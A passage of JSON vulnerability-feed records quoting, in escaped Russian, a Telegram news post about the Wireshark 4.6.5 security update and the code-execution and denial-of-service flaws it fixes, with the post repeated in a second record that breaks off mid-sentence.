\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430\n\n\u0414\u043b\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0438 \u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u044d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445, SOC \u0438 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f\u0445. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 4.6.5, \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0431\u0435\u0437 \u0437\u0430\u0434\u0435\u0440\u0436\u0435\u043a\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430. \u041e\u043d\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432: TLS (CVE-2026-5402), SBC-\u0430\u0443\u0434\u0438\u043e\u043a\u043e\u0434\u0435\u043a (CVE-2026-5403), RDP (CVE-2026-5405), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u0430 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 (CVE-2026-5656). \u0412\u043e \u0432\u0441\u0435\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0431\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043d\u043e \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0443\u0441\u0443\u0433\u0443\u0431\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e Wireshark \u0447\u0430\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0445 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u0435\u0441\u0442\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ICMPv6, HTTP, WebSocket, MySQL, BT-DHT \u0438 \u0434\u0440\u0443\u0433\u0438\u0435. \u0410\u0442\u0430\u043a\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0434\u0430\u0436\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043e\u0448\u0438\u0431\u043a\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0446\u0438\u043a\u043b\u0430\u043c \u0438 \u043f\u043e\u043b\u043d\u043e\u0439 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0447\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 SIEM\n\n\u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430\u0445 \u0434\u0435\u043a\u043e\u043c\u043f\u0440\u0435\u0441\u0441\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 zlib \u0438 LZ77. \u041e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0436\u0430\u0442\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0441\u0431\u043e\u044f\u043c \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u0436\u0430\u0442\u0438\u0435, \u0447\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u043b\u043e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043f\u0440\u043e\u0431\u043b\u0435\u043c: \u043e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u0437\u0430\u0432\u0438\u0441\u0430\u043d\u0438\u0439 \u0434\u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0441\u0431\u043e\u0435\u0432 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u0414\u0438\u0430\u043f\u0430\u0437\u043e\u043d \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e CVE-\u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u043e\u0442 CVE-2026-5299 \u0434\u043e CVE-2026-6870\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0441 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 \u0418\u0418, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0431\u044b\u0441\u0442\u0440\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430\n\n\u0414\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 Wireshark \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438\u043b\u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u043e\u0439 \u043c\u0435\u0440\u043e\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u043a\u0430\u043a \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430, \u0442\u0430\u043a \u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0438.\n\n\u041d\u0430\u0448\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b: \n\u041a\u0430\u043d\u0430\u043b \u0444\u043e\u0440\u0443\u043c\u0430: T.ME/XSSF_FORUM\n\u041d\u0430\u0448 \u043a\u0430\u043d\u0430\u043b: T.ME/ITARMYOFRUSSIANEWS", "creation_timestamp": "2026-05-03T10:37:15.000000Z"}, {"uuid": "bcd531f4-4ce0-4f30-af8a-a7b34d8a01f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5402", "type": "seen", "source": "https://t.me/itarmyofrussianews/379", "content": "Wireshark \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438: \u0432 \u043d\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0431\u043e\u043b\u0435\u0435 40 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430\n\n\u0414\u043b\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0435\u0442\u0438 \u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u044d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445, SOC \u0438 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f\u0445. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 4.6.5, \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0431\u0435\u0437 \u0437\u0430\u0434\u0435\u0440\u0436\u0435\u043a\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430. \u041e\u043d\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432: TLS (CVE-2026-5402), SBC-\u0430\u0443\u0434\u0438\u043e\u043a\u043e\u0434\u0435\u043a (CVE-2026-5403), RDP (CVE-2026-5405), \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u0430 \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u0439 (CVE-2026-5656). \u0412\u043e \u0432\u0441\u0435\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u043e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0431\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043d\u043e \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u044b\n\n\u0421\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0443\u0441\u0443\u0433\u0443\u0431\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e Wireshark \u0447\u0430\u0441\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0445 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u0435\u0441\u0442\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ICMPv6, HTTP, WebSocket, MySQL, BT-DHT \u0438 \u0434\u0440\u0443\u0433\u0438\u0435. \u0410\u0442\u0430\u043a\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0434\u0430\u0436\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043e\u0448\u0438\u0431\u043a\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043d\u0438\u0445 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442 \u043a \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0446\u0438\u043a\u043b\u0430\u043c \u0438 \u043f\u043e\u043b\u043d\u043e\u0439 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0447\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 SIEM\n\n\u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430\u0445 \u0434\u0435\u043a\u043e\u043c\u043f\u0440\u0435\u0441\u0441\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 zlib \u0438 LZ77. \u041e\u0448\u0438\u0431\u043a\u0438 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0436\u0430\u0442\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u044c \u043a \u0441\u0431\u043e\u044f\u043c \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u0436\u0430\u0442\u0438\u0435, \u0447\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u043b\u043e \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u043f\u0440\u043e\u0431\u043b\u0435\u043c: \u043e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 